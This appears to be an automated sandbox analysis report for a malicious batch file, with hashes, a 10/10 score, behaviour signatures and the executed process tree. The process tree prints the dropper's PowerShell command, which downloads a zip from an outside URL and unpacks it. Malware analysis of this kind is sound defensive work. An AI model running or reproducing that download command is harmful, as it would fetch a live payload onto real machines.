3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
19-11-2023 06:55

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General

Target

tesy - Copy (2).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2372	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2372	powershell.exe
2668	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2372	1052	cmd.exe	29
PID 1052 wrote to memory of 2668	1052	cmd.exe	30
PID 1052 wrote to memory of 2668	1052	cmd.exe	30
PID 1052 wrote to memory of 2668	1052	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2668

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
2014efd661485786e7067f151e96018b

SHA1
48aee6c6beeb94a09b725f515b13c62856ab4d0e

SHA256
c642a681e401fdd78820463a5fbf94034445fbfcd82c63f375bd58170b37b5c7

SHA512
a5a07b4f14cfebf299fcdb6ab1580170d6e06f2e52be0eefd665f3f4e743f8b938e3bbbe6c5c2621ddbeab5c84533c3b3f851b14880a330e15e44302d4e1093b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YWRKZYF8ZQP6J2A3RWSA.temp

Filesize
7KB

MD5
2014efd661485786e7067f151e96018b

SHA1
48aee6c6beeb94a09b725f515b13c62856ab4d0e

SHA256
c642a681e401fdd78820463a5fbf94034445fbfcd82c63f375bd58170b37b5c7

SHA512
a5a07b4f14cfebf299fcdb6ab1580170d6e06f2e52be0eefd665f3f4e743f8b938e3bbbe6c5c2621ddbeab5c84533c3b3f851b14880a330e15e44302d4e1093b

Download Submit
memory/2372-9-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2372-7-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2372-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2372-4-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2372-10-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2372-11-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2372-13-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2372-6-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2372-5-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-20-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-19-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2668-21-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2668-22-0x00000000026B0000-0x00000000026B8000-memory.dmp

Filesize
32KB

Download
memory/2668-23-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2668-24-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2668-25-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2668-26-0x0000000002780000-0x0000000002800000-memory.dmp

Filesize
512KB

Download
memory/2668-27-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download